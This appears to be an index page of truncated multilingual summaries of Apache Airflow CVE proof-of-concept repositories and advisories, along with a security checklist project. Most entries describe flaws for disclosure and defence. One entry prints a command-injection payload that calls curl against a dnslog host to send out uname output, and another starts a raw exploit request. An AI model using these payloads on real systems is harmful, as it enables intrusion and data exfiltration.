CVE-2023-22884-Airflow-SQLi

Apache Airflow SQL注入PoC CVE-2023-22884 CVE-2023-22884的PoC是一个影响2.4.0之前版本的Apache Airflow RCE漏洞。 官方报告描述如下： 在Apache软件基金会的Apache Airflow和Apache Airflow MySQL Provider中存在命令中特殊元素未正确中和（'命令注入'）漏洞。该问题影响Apache Airflow版本：2.5.1之前；Apache Airflow MySQL Provider版本：4.0.0之前。来源 受影响版本的该软件包存在命令注入漏洞，原因是未对LOAD DATA LOC...

CVE-2022-40127-Airflow-RCE

Apache Airflow Apache Airflow的示例DAG中存在一个漏洞，允许具有UI访问权限且能触发DAG的攻击者通过手动提供的runid参数执行任意命令。该问题影响Apache Airflow 2.4.0之前的版本。 该仓库是为一篇CVE分析博客文章创建的，文章可在vsociety博客上查阅。 https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09df6 用法 你可以克隆该仓库： git clone...

airflowscan

airflowscan Checklist and tools for increasing security of Apache Airflow. DISCLAIMER This project NOT AFFILIATED with the Apache Foundation and the Airflow project, and is not endorsed by them. Contents The purpose of this project is provide tools to increase security of Apache Airflow...

airflowscan

airflowscan 用于增强 Apache Airflow 安全性的检查清单和工具。 免责声明 本项目与 Apache 基金会和 Airflow 项目无任何关联 ，也未获得它们的认可。 目录 本项目的目的是提供工具，以增强 Apache Airflow 安装的安全性。本项目提供以下工具： 包含强化设置的配置文件 - 请参见 hardenedairflow.cfg。 用于强化默认安装的安全检查清单 - 请参见 CHECKLIST.MD。 用于检查 Airflow 配置文件是否存在不安全设置的静态分析工具。 静态分析工具用于验证的 JSON schema 文档 - 请参见...

CVE-2025-69219

CVE-2025-69219 — Apache Airflow Providers HTTP RCE mediante Deserialización Insegura de Pickle Gravedad: Alta CVSS 3.1: 8.8 Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CWE: CWE-913 — Control Inadecuado de Recursos de Código Gestionados Dinámicamente Afectado: apache-airflow-providers-http = 5.1.0...

PoC-for-CVE-2021-38540-

CVE-2021-38540 概念验证 关键组件缺少身份验证，即 CVE-2021-38540 关于此漏洞： Airflow =2.0.0, =2.0.0, variables List Variables 下创建一个名为 kafkacaptainhookuser 的变量。 PoC 源码： POST /variable/varimport HTTP/2 Host: airflow.example.com User-Agent: Mozilla/5.0 X11; Linux x8664; rv:91.0 Gecko/20100101 Firefox/91.0 Accept:...

CVE-2020-11978

CVE-2020-11978: Ejecución remota de código en los DAGs de ejemplo de Apache Airflow Información Descripción: Esta vulnerabilidad permite RCE cuando se cargan los DAGs de ejemplo de Airflow, potencialmente sin autenticación con CVE-2020-13927 Crédito CVE : xuxiang de DtDream security Versiones...

CVE-2020-11981-PoC

示例 构建演示环境 docker-compose up -d VM docker-container: 172.18.0.2 命令 PoC docker build -t scan11981 . docker run -v /tmp/:/output --network exploit -t scan11981 --targets 172.18.0.2:6379 --output /output/result.txt cat /tmp/result.txt 信息 漏洞描述：该漏洞与Apache...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" Verificación mediante dnslog POC 2 curl -X 'POST' ...

cve-2026-75157-poc

PoC de CVE-2026-75157 PoC de investigación de seguridad autorizada para la falla de autorización de eventos en cola de Apache Airflow en versiones anteriores a la 3.3.2. Alcance Ejecútelo únicamente contra una instancia de Airflow que sea de su propiedad o que esté explícitamente autorizado a...

poc-cve-2025-69219

CVE-2025-69219 apache airflow 不安全的反序列化导致RCE 1. 将poc.py复制到你的Airflow dags目录中。 2. 从UI触发poc工作流。 3. 检查任务日志以查看执行输出。...

CVE-2026-25604-PoC

CVE-2026-25604 PoC Inyección de cabecera Host que conduce a la omisión de autenticación SAML en AWS Auth Manager de Apache Airflow Un atacante puede inyectar una cabecera Host maliciosa en el flujo de inicio de sesión SAML, haciendo que la URL del Servicio de Consumo de Aserciones ACS apunte a un...

CVE-2026-32794

CVE-2026-32794: Omisión de la verificación de certificados TLS en el proveedor Databricks de Apache Airflow Palabras clave: TLS, verificación de certificados, MITM, Kubernetes, Databricks, OAuth, CWE-295, Apache Airflow Tabla de contenido Descripción general Detalles de la vulnerabilidad Análisis...

Insertion of Sensitive Information into Log File

Overview apache-airflow-providers-teradata is a Provider package apache-airflow-providers-teradata for Apache Airflow Affected versions of this package are vulnerable to Insertion of Sensitive Information into Log File via the execute method in azureblobtoteradata.py and s3toteradata.py, when no...

Insufficiently Protected Credentials

Overview apache-airflow-providers-snowflake is a Provider package apache-airflow-providers-snowflake for Apache Airflow Affected versions of this package are vulnerable to Insufficiently Protected Credentials via unsanitized interpolation of the account and region connection fields into Snowflake...

Improper Neutralization of Special Elements in Data Query Logic

Overview apache-airflow-providers-google is a Provider for Apache Airflow. Implements apache-airflow-providers-google package Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic via GoogleDriveHook in drive.py, where folder names, fi...

SQL Injection

Overview apache-airflow-providers-teradata is a Provider package apache-airflow-providers-teradata for Apache Airflow Affected versions of this package are vulnerable to SQL Injection in the Teradata compute-cluster example DAG, where user-settable Params are not properly constrained, allowing an...

CVE-2026-81914

Apache Airflow's Google provider built Google Drive search expressions by interpolating file and folder names directly into single-quoted string literals, without escaping the quote character that delimits them. A name containing an apostrophe therefore terminated the literal early and appended...

CVE-2026-86843

The Apache Airflow Teradata provider's compute-cluster example Dag declared every one of its Dag Params as unconstrained free text and templated them straight into the compute-cluster operators, which interpolate those values into Teradata DDL. A user who is permitted to trigger that Dag - a...

CVE-2026-81862

Apache Airflow's Teradata provider embedded cloud storage credentials directly into SQL statements. S3ToTeradataOperator and AzureBlobStorageToTeradataOperator interpolate the source bucket's credentials as plain string literals into the CREATE MULTISET TABLE ... LOCATION statement whenever the...